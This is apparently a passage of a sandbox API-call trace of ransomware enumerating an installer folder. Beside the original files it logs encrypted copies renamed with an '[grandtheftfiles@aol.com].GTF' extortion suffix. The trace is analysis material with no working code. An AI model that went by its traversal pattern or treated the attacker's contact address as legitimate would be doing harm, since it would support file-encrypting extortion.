	[0067.956] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811ec8
	[0067.957] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.957] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fbae905, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fbae905, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc935d1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0067.957] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fc472a2, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fc472a2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0067.957] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0067.957] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0067.957] FindClose (in: hFindFile=0x811ec8 | out: hFindFile=0x811ec8) returned 1
	[0067.957] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0067.957] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1
	[0067.957] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0067.957] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811cc8
	[0067.957] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.957] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0067.958] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fc6d477, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fc6d477, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc6d477, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0067.958] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0067.958] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fcb99df, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0067.958] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0067.958] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0067.958] FindClose (in: hFindFile=0x811cc8 | out: hFindFile=0x811cc8) returned 1
	[0067.958] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0067.958] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1
	[0067.958] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0067.958] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e88
	[0067.958] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.958] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0067.959] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fc935d1, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fc935d1, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc935d1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0068.031] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0068.031] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fcb99df, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0068.031] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0068.031] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0068.031] FindClose (in: hFindFile=0x811e88 | out: hFindFile=0x811e88) returned 1
	[0068.031] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0068.031] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1
	[0068.031] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0068.031] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811948
	[0068.032] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.032] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0068.032] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0068.032] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0068.032] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0068.032] FindClose (in: hFindFile=0x811948 | out: hFindFile=0x811948) returned 1
	[0068.032] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0068.032] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1
	[0068.032] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0068.032] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e48
	[0068.032] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.032] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0068.032] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0068.033] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0068.033] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0068.033] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0068.033] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1
	[0068.033] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1
	[0068.033] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1
	[0068.033] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0068.033] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e48
	[0068.033] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.033] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
